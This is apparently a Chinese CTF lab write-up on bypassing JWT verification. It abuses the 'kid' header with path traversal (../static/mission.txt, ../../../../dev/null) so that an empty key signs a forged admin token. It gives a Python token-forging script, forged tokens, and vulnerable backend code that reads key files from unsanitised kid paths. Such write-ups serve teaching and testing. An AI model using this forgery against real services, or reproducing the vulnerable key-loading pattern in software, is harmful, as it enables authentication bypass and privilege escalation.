例题一:
这道题涉及到
jwt修改kid指向服务器上的我们已知的文件内容,以其内容作为key密钥签名绕过
一、访问/api/docs

有提示
二、访问/api/login
post请求,请求体json,


得到jwt
eyJhbGciOiJIUzI1NiIsImtpZCI6InVzZXIua2V5IiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3Nzk1Mjc3MDIsImV4cCI6MTc3OTUzMTMwMn0.zROcIhm6IVfuYRSiFYgte2WR_m6TgiqvG4fEbkPxpn8
解码为:

user.key应该就是服务端要用来验证的密钥文件了
已知访问http://43.108.37.178:34346/static/mission.txt是个空文件
(1)一开始用绝对路径
{"alg": "HS256","kid": "http://43.108.37.178:34346/static/mission.txt","typ": "JWT"
}
生成jwt,替换显示文件找不到
(2)用相对路径同上
{"alg": "HS256","kid": "/static/mission.txt","typ": "JWT"
}
猜测下服务端处理代码,应该用了相对路径:
kid = jwt_header["kid"] # 从JWT header中取出kid
a = f"/app/keys/{kid}" # 拼接路径
secret = open(a).read() # 读取密钥文件
verify_jwt(token, secret) # 用该密钥验证签名
(3)构造相对路路径即/app/keys/../static/mission.txt即为/app/static/mission.txt成功指向mission.txt文件
{"alg": "HS256","kid": "../static/mission.txt","typ": "JWT"
}
再改role为admin,用mission.txt内容,即空字符串作为密钥加密
import hmac
import hashlib
import base64
import jsondef base64url(data: bytes) -> str:return base64.urlsafe_b64encode(data).decode().rstrip("=")header = {"alg": "HS256","kid": "../static/mission.txt","typ": "JWT"
}payload = {"username": "admin","role": "admin","iat": 1779525991,"exp": 1779529591
}header_b64 = base64url(json.dumps(header, separators=(",", ":")).encode())
payload_b64 = base64url(json.dumps(payload, separators=(",", ":")).encode())signing_input = f"{header_b64}.{payload_b64}"key = b"" #空密钥签名
signature = hmac.new(key=key,msg=signing_input.encode(),digestmod=hashlib.sha256
).digest()signature_b64 = base64url(signature)jwt_token = f"{header_b64}.{payload_b64}.{signature_b64}"
print(jwt_token)
得到
eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uL3N0YXRpYy9taXNzaW9uLnR4dCIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzc5NTI1OTkxLCJleHAiOjE3Nzk1Mjk1OTF9.c7JoXkpBSxNuhR_5MhLcVJ-0N_ztXFYcaIjFDJ-krs8
替换jwt,访问/api/admin/flag

注:还有一种想法,可以不可以用kid=../../../dev/null,再使用空密钥来绕过
例题二:kid空文件绕过jwt
后端漏洞代码:
unverified_header = jwt.get_unverified_header(token)
kid = unverified_header.get('kid')
if not kid:
data = jwt.decode(token, app.config['SECRET_KEY'], algorithms=["HS256"])
else:
# 通过kid读取公钥文件内容作为PEM
with open(kid, 'r') as pubfile:
public_key = pubfile.read()
print(public_key)
data = jwt.decode(token, public_key, algorithms=['HS256'])
开始
首先你需要准备一个空密钥的对称加密

这里用AA==,代表是空。我们会将KID的路径指向一个空文件,那么我们用空的密钥加密,后端就可以用空密钥解密。

获取JWT数据包,然后首先增加kid,内容为/dev/null。简单说,它等价为空
/dev/null是Unix/Linux 类系统中的一个特殊设备文件,也被称为“空设备”或“黑洞”,它的核心特性是:
- 写入即丢弃:任何写入
/dev/null的数据都会被系统直接丢弃,不会占用磁盘空间,也无法恢复。 例:echo "敏感信息" > /dev/null→ 内容消失,无任何残留。- 读取返回空:从
/dev/null读取数据时,会立即返回空字符串,不会阻塞或返回错误。例:
cat /dev/null→ 终端无任何输出。 3. 无大小属性:它不是真实的磁盘文件,用ls -l /dev/null查看会发现大小始终为 0。
第二步权限修改为admin

第三步,用空的密钥签名

成功获取权限

例题三:目录遍历(和例一差不多)
KID在读取文件的时候,很大概率会指定一个目录,那么变种就出现了
unverified_header = jwt.get_unverified_header(token)
kid = unverified_header.get('kid')
if not kid:
data = jwt.decode(token, app.config['SECRET_KEY'], algorithms=["HS256"])
else:
# 通过kid读取公钥文件内容作为PEM
with open(f'/root/{kid}', 'r') as pubfile:
public_key = pubfile.read()
print(public_key)
data = jwt.decode(token, public_key, algorithms=['HS256'])
在kid的位置,通过../../../../进行绕过,其他操作不变
BASH 复制{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../dev/null"
}
